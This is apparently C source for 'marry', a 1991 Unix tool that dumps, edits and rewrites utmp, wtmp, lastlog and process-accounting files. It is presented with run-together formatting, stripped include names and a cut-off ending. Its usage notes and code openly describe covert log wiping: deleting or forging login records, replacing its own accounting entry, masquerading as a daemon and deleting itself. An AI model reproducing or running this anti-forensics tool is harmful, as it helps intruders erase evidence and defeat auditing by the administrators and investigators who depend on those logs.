/* marry v1.1 (c) 1991 -- Proff -- proff@suburbia.apana.org.au, * All rights reserved. * * May there be peace in the world, and objectivity amoung men. * * You may not use this program for unethical purposes. * * You may not use this program in relation to your employment, or for monetary * gain without express permission from the author. * * usage: * marry [-aetsuScDn] [-i src] [-o obj] [-d dump] [-p pat] [-v pat] [-m [WLA]] * [-E editor] [-h program] [-b backup ] * * -a automode, dump, run editor over dump and re-assemble to object * -e edit source, assemble directly to input file, imples no insertion * of records before an equal quantity of deltion * -t truncate object to last line of dump source when assembling * -s squeeze, delete all record in input not occuring in dump * (higher entries in input will be appended unless -t is also * specified) * -u when in [L]astlog mode do user-id -> name lookups (time consuming) * -S Security, when in [A]cct and -[a]uto mode replace editor's acct * record with an unmodified random previous entry, detach from * terminal, SIGKILL ourselves or execlp [-h program] to hide our * acct record (marry should be exec'ed under these circumstances) * -c clean, delete backup and dump files once complete * -D Delete our self once complete (i.e argv[0]) * -n no backups, don't make backups when in -e, -a modes or when * -i file == -o file * -i src input, the utmp, wtmp, lastlog or p/acct file concerned. defaults * to the system wtmp/lastlog/pacct depending on mode if not specified * -o obj output, the dump assembled and input merged version of the * above. if given and not in -[a]uto mode, implies we are * assembling, not dumping. * -d dump dump, the dump (editable representation of src) file name. this * is is either an input (-o specified) an output (no -o) or both * -[a]uto. defaults to "marry.dmp" in the current directory if not * specified * -p pat pattern match. When disassembling (dumping), only extract records * which match (checked against all string fields, and the uid if * the pattern is a valid username) * -v pat inverse pattern match. like egrep -v. above non-logic features. * -m mode mode is one of: * * W - utmp/wtmp (or utmpx/wtmpx see UTMPX #define) * L - lastlog * A - acct/pacct * * -E editor editor to be used in -[a]uto mode. defaults to /usr/bin/vi. must * be the full path in -[S]ecurity mode (we do some clever * symlinking) * -h program hide, if -S mode is on, then attempt to conceal our acct entry by * execlp'ing the specified program. this seems to work on BSD derived * systems. with others, your might want to just call marry something * innocous. * -b backup name of backup file, defaults to "marry.bak" * * the following instruction codes can be placed in position one of the dump * lines to be assembled (e.g "0057a" -> "=057a"): * * '=' tag modification of entry. * '+' tag insertion of entry * * Examples: * * $ marry -mW -i /etc/utmp -s -a # dump, edit, re-assemble and strip deleted * # entries from utmp * * $ marry -mL -u -a -n -e # dump lastlog with usernames, edit, make no * # backups and re-assemble in-situ directly to * # lastlog * * $ marry -mW -a -p mil -E emacs # dump all wtmp entries matching "mil", edit * # with emacs, re-assemble and re-write to wtmp * * $ exec marry -mA -SceD # dump all acct entries by root, edit, remove * -h /usr/sbin/in.fingerd # editor's acct record, re-assemble directly * -p root -a -i /var/account/acct # to acct in-situ, delete backup and dump file, * # delete ourself from the disk, unassign our * # controling terminal, and lastly overlay our * # self (and thus our to be acct record) with * # in.fingerd */ #define UTMP #undef UTMPX /* solaris has both */ #define LASTLOG /* #define PACCT */ #include #include #include #include #include #include #include #include #include #include #include #include #include #ifdef __SVR3 # include #endif #ifndef bsd # if defined(__NetBSD__) || defined(bsdi) || defined(BSDI) || defined(__386BSD__) # define bsd # endif #endif #if !defined(gcc) # define NO_VOID /* non gcc, early compiliers */ #endif #ifndef __SVR3 extern char *optarg; #endif #ifdef NO_VOID # define VOID int # define FVOID #else # define VOID void # define FVOID void #endif #ifndef bool # define bool char #endif #define match(a,b) (match_s((a), (b), sizeof(a))) #ifdef UTMP #ifdef UTMPX # include # define S_UTMP utmpx # define UT_HOST ut_host # define UT_ID ut_id # define UT_TYPE ut_type # define UT_PID ut_pid # define UT_TV ut_tv # ifdef _PATH_WTMPX # define WTMP_FILE _PATH_WTMPX # else # ifdef WTMPX_FILE # define WTMP_FILE WTMPX_FILE # else # define WTMP_FILE "/usr/adm/wtmpx" # endif # endif #else # include # define S_UTMP utmp # ifndef WTMP_FILE # ifdef _PATH_WTMP # define WTMP_FILE _PATH_WTMP # else # define WTMP_FILE "/usr/adm/wtmp" # endif # endif # if !defined(ut_name) && !defined(ut_user) # define ut_user ut_name # endif # if defined(linux) || defined(bsd) || defined(sun) # define UT_HOST ut_host # endif # ifdef linux # define UT_ADDR ut_addr # endif # define UT_TIME ut_time # if defined(linux) || defined(solaris) # define UT_PID ut_pid # define UT_ID ut_id # endif # if defined(linux) || defined(solaris) || defined(sysv) || defined(SYSV) || defined(SVR4) # define UT_TYPE ut_type # endif #endif #endif #ifdef LASTLOG # ifdef bsd # ifndef UTMP # include # endif # else # include # endif # ifndef LASTLOG_FILE # ifdef _PATH_LASTLOG # define LASTLOG_FILE _PATH_LASTLOG # else # define LASTLOG_FILE "/usr/adm/lastlog" # endif # endif # define LL_HOST ll_host #endif #ifdef PACCT # include # ifdef bsd # define PACCT_FILE "/var/account/acct" # else # define PACCT_FILE "/usr/adm/pacct" # endif #endif #ifdef UT_ADDR # include #endif FILE *ofh, *ifh, *afh; #ifdef UTMP struct S_UTMP s_utmp; #endif #ifdef LASTLOG struct lastlog s_lastlog; #endif #ifdef PACCT struct acct s_acct; struct acct ac_saved; int acct_step; #endif char ac_comm_hide[32]; struct passwd *uid; struct passwd uid_s; char **uida=NULL; char **gida=NULL; #define MAX_UID 65537 char *quotes="\"\""; int globline=0; char *a_Input=NULL; char *a_Output=NULL; char *a_Pattern=NULL; char *a_Hide=NULL; #ifdef sun char *a_Editor="/usr/ucb/vi"; #else char *a_Editor="/usr/bin/vi"; #endif char *a_Dump="marry.dmp"; char *a_Backup="marry.bak"; bool f_Auto=0; bool f_Squeeze=0; bool f_EditSrc=0; bool f_Truncate=0; bool f_Exclude=0; bool f_Uid=0; bool f_Security=0; bool f_Clean=0; bool f_DeleteSelf=0; bool f_NoBackups=0; bool f_backedup; char mode; int mode_size=0; void *mode_data; int globline; char *mes; time_t otime=0; FVOID display() { static int n; time_t t; globline++; if (n++<30) return; /* don't want too many context switches */ n=0; time(&t); if (t<(otime+1)) return; otime=t; printf("%s%d\r", mes, globline); fflush(stdout); } FVOID display_end() { printf("%s%d\n", mes, globline); fflush(stdout); } #ifdef NO_VOID char #else void #endif * Smalloc(n) int n; { #ifdef NO_VOID char #else void #endif * p; while (!(p=malloc(n))) sleep(1); return p; } bool copyf(src, dst) char *src; char *dst; { #define CBUFLEN 128*1024 int fi, fo; char *buf; int cc; if ((fi=open(src, O_RDONLY, 0))<0) { perror(src); exit(1); } if ((fo=open(dst, O_WRONLY|O_CREAT|O_TRUNC, 0666))<0) { perror(dst); exit(1); } buf=Smalloc(CBUFLEN); while ((cc=read(fi, buf, CBUFLEN))>0) if (write(fo, buf, cc)!=cc) { perror(dst); exit(1); } close(fo); close(fi); free(buf); return 1; } bool backup(src) char *src; { printf("backup = %s\n", a_Backup); fflush(stdout); return copyf(src, a_Backup); } char *match_s(haystack, needle, n) char *haystack; char *needle; int n; { static char tmp[256]; strncpy(tmp, haystack, n>sizeof(tmp)? sizeof(tmp): n); return strstr(tmp, needle); } unsigned short atoi2(s) char *s; { return (s[0]-'0')*10+(s[1]-'0'); } char *p_string(s, size) char *s; int size; { static char sss[1024]; register int n; char *ss=sss; if (!*s) return quotes; for (n=0; ntm_year, tp->tm_mon+1, tp->tm_mday, tp->tm_hour, tp->tm_min, tp->tm_sec); return s; } time_t time_i(s) char *s; { struct tm lt; time_t t; if (strlen(s)!=12) return (time_t)-1; time(&t); lt=*localtime(&t); lt.tm_year=atoi2(s); lt.tm_mon=atoi2(s+2)-1; lt.tm_mday=atoi2(s+4); lt.tm_hour=atoi2(s+6); lt.tm_min=atoi2(s+8); lt.tm_sec=atoi2(s+10); lt.tm_isdst=-1; return mktime(<); } char * bgetgrgid(u) gid_t u; { struct group *gr; if (!gida) { int n; gida=(char **)Smalloc(sizeof(char *)*MAX_UID); for (n=0; ngr_name)+1); strcpy(gida[u], gr->gr_name); return gida[u]; } char * bgetpwuid(u) uid_t u; { struct passwd *pw; if (!uida) { int n; uida=(char **)Smalloc(sizeof(struct passwd *)*MAX_UID); for (n=0; npw_name)+1); strcpy(uida[u], pw->pw_name); return uida[u]; } #ifdef UTMP bool dump_utmp(uline, ut) int uline; struct S_UTMP *ut; { time_t tim; if (a_Pattern) { if (!match(ut->ut_user, a_Pattern) && !match(ut->ut_line, a_Pattern) #ifdef UT_HOST && !match(ut->UT_HOST, a_Pattern) #endif ) {if (!f_Exclude) return 1;} else if (f_Exclude) return 1; } fprintf(afh, "%05x", uline-1); fprintf(afh, " %-8s", p_string(ut->ut_user, sizeof(ut->ut_user))); fprintf(afh, " %-11s", p_string(ut->ut_line, sizeof(ut->ut_line))); #ifdef UT_ID fprintf(afh, " %-4s", p_string(ut->UT_ID, sizeof(ut->UT_ID))); #endif #ifdef UT_TYPE fprintf(afh, " %-2x", ut->UT_TYPE); #endif #ifdef UT_PID fprintf(afh, " %-5d", (int)ut->UT_PID); #endif #if defined(UT_TIME) || defined (UT_TV) # ifdef UT_TIME tim=ut->UT_TIME; # else tim=ut->UT_TV.tv_sec; # endif fprintf(afh, " %s", time_s(tim)); #endif #ifdef UT_ADDR fprintf(afh, " %-15s", inet_ntoa(*((struct in_addr *)&ut->UT_ADDR))); #endif #ifdef UT_HOST fprintf(afh, " %s", p_string(ut->UT_HOST, sizeof(ut->UT_HOST))); #endif fputc('\n', afh); return 1; } #endif #ifdef LASTLOG bool dump_lastlog(uline, ll) int uline; struct lastlog *ll; { char *name; struct passwd *pw; if (f_Uid) { pw=getpwuid(uline-1); name=pw? pw->pw_name: quotes; } else { static char s[6]; sprintf(s, "%05d", uline-1); name=s; } if (a_Pattern) { if ( (!uid || (uid->pw_uid!=(uline-1))) && (!f_Uid || strstr(name, a_Pattern)) && #ifdef LL_HOST !match(ll->ll_host, a_Pattern) && #endif !match(ll->ll_line, a_Pattern) ) {if (!f_Exclude) return 1;} else if (f_Exclude) return 1; } fprintf(afh, "%05x", uline-1); fprintf(afh, " %-8s", name); fprintf(afh, " %-11s", p_string(ll->ll_line, sizeof(ll->ll_line))); fprintf(afh, " %s", time_s(ll->ll_time)); #ifdef LL_HOST fprintf(afh, " %s", p_string(ll->LL_HOST, sizeof(ll->LL_HOST))); #endif fputc('\n', afh); return 1; } #endif #ifdef PACCT bool dump_pacct(uline, ac) int uline; struct acct *ac; { char *name; char *gr_name; if (!(name=bgetpwuid(ac->ac_uid))) { static char s[6]; sprintf(s, "%05d", ac->ac_uid); name=s; } if (!(gr_name=bgetgrgid(ac->ac_gid))) { static char s[6]; sprintf(s, "%05d", ac->ac_gid); gr_name=s; } if (a_Pattern) { if ( (!uid || (uid->pw_uid!=ac->ac_uid)) && (strstr(name, a_Pattern)) && (strstr(gr_name, a_Pattern)) ) {if (!f_Exclude) return 1;} else if (f_Exclude) return 1; } fprintf(afh, "%05x", uline-1); fprintf(afh, " %-8s", name); fprintf(afh, " %-8s", gr_name); fprintf(afh, " %-10s", p_string(ac->ac_comm, sizeof(ac->ac_comm))); if (ac->ac_tty==(dev_t)-1) fputs(" ----", afh); else fprintf(afh, " %04x", ac->ac_tty); fprintf(afh, " %2x", ac->ac_flag); fprintf(afh, " %s", time_s(ac->ac_btime)); fputc('\n', afh); return 1; } #endif FVOID makedump() { int uline; if ((ifh=fopen(a_Input, "r"))==NULL) { perror(a_Input); exit(1); } if ((afh=fopen(a_Dump, "w"))==NULL) { perror(a_Dump); exit(1); } fputc('\n', stdout); globline=0; mes="entries disassembled: "; for (uline=1; fread(mode_data, mode_size, 1, ifh)>0; uline++) { display(); switch(mode) { #ifdef UTMP case 'W': dump_utmp(uline, mode_data); break; #endif #ifdef LASTLOG case 'L': dump_lastlog(uline, mode_data); break; #endif #ifdef PACCT case 'A': dump_pacct(uline, mode_data); break; #endif } } display_end(); fclose(afh); fclose(ifh); } int seek_ifh(uline) int uline; { if (ftell(ifh)!=mode_size*(uline-1)) if (fseek(ifh, mode_size*(uline-1), SEEK_SET)==-1) return 0; return 1; } #ifdef UTMP int mod_utmp(ut, p) struct S_UTMP *ut; char *p; { char *op; static char tmp[255]; #if defined(UT_TIME) || defined(UT_TV) #endif op=p; if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0; if (!(p=g_string(ut->ut_user, p, sizeof(ut->ut_user)))) return 0; if (!(p=g_string(ut->ut_line, p, sizeof(ut->ut_line)))) return 0; #ifdef UT_ID if (!(p=g_string(ut->UT_ID, p, sizeof(ut->UT_ID)))) return 0; #endif #ifdef UT_TYPE if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0; sscanf(tmp, "%x", (unsigned int *)&(ut->UT_TYPE)); #endif #ifdef UT_PID if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0; ut->UT_PID=atoi(tmp); #endif #if defined(UT_TIME) || defined(UT_TV) if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0; # ifdef UT_TIME if ((ut->UT_TIME=time_i(tmp))==(time_t)-1) # else /* UT_TV */ if ((ut->UT_TV.tv_sec=time_i(tmp))==(time_t)-1) # endif fprintf(stderr, "warning: invalid time spec %s", op); #endif #ifdef UT_ADDR if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0; ut->UT_ADDR=inet_addr(tmp); #endif #ifdef UT_HOST if (!(p=g_string(ut->UT_HOST, p, sizeof(ut->UT_HOST)))) return 0; #endif return 1; } #endif #ifdef LASTLOG int mod_lastlog(ll, p) struct lastlog *ll; char *p; { char *op; static char tmp[255]; op=p; if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0; if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0; /*skip name*/ if (!(p=g_string(ll->ll_line, p, sizeof(ll->ll_line)))) return 0; if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0; if ((ll->ll_time=time_i(tmp))==(time_t)-1) fprintf(stderr, "warning illegal time: %s\n", op); #ifdef LL_HOST if (!(p=g_string(ll->ll_host, p, sizeof(ll->ll_host)))) return 0; #endif return 1; } #endif #ifdef PACCT int mod_pacct(ac, p) struct acct *ac; char *p; { static char tmp[255]; struct passwd *pw; struct group *gr; char *op; long int t; unsigned int tu; op=p; if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0; if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0; if (sscanf(tmp, "%ld", &t)!=1) { if (!(pw=getpwnam(tmp))) fprintf(stderr, "warning: unknown username %s\n", op); else ac->ac_uid=pw->pw_uid; } else ac->ac_uid=t; if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0; if (sscanf(tmp, "%ld", &t)!=1) { if (!(gr=getgrnam(tmp))) fprintf(stderr, "warning: unknown group %s\n", op); else ac->ac_gid=pw->pw_gid; } else ac->ac_gid=t; if (!(p=g_string(ac->ac_comm, p, sizeof(ac->ac_comm)))) return 0; if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0; if (sscanf(tmp, "%x", &tu)!=1) ac->ac_tty=(dev_t)-1; else ac->ac_tty=tu; if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0; if (sscanf(tmp, "%x", &tu)!=1) fprintf(stderr, "warning: invalid flags %s\n", op); else ac->ac_flag=tu; if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0; if ((ac->ac_btime=time_i(tmp))==(time_t)-1) fprintf(stderr, "warning: illegal time: %s\n", op); return 1; } #endif bool wcopy(uline) int uline; { if (!seek_ifh(uline)) return 0; while (fread(mode_data, mode_size, 1, ifh)>0) { display(); #ifdef PACCT if (f_Security && f_Auto && mode=='A') { struct acct *p; p=(struct acct *)mode_data; if (!strncmp(p->ac_comm, ac_comm_hide, sizeof(ac_comm_hide))) { ac_saved.ac_btime=p->ac_btime; *p=ac_saved; } } #endif if (fwrite(mode_data, mode_size, 1, ofh)<1) return 0; } #ifndef NO_FTRUNCATE if (f_Squeeze && f_EditSrc) ftruncate(fileno(ofh), ftell(ofh)); #endif return 1; } bool domod(p) char *p; { bool ret=0; if (fread(mode_data, mode_size, 1, ifh)<1) return 0; switch(mode) { #ifdef UTMP case 'W': ret=mod_utmp(mode_data, p); break; #endif #ifdef LASTLOG case 'L': ret=mod_lastlog(mode_data, p); break; #endif #ifdef PACCT case 'A': ret=mod_pacct(mode_data, p); break; #endif } if (!ret) fprintf(stderr, "warning: invalid dump input `%s'\n", p); return 1; } static wu_line=0; int obj_update(uline, p, f_mod) int uline; char *p; char f_mod; { if (f_Squeeze) { display(); seek_ifh(uline); if (f_mod) {if (!domod(p)) return 0;} else if (fread(mode_data, mode_size, 1, ifh)<1) return 0; if (fwrite(mode_data, mode_size, 1, ofh)<1) return 0; } else { if (f_EditSrc) { if (f_mod) fseek(ofh, mode_size*(uline-1), SEEK_SET); } else { while(++wu_line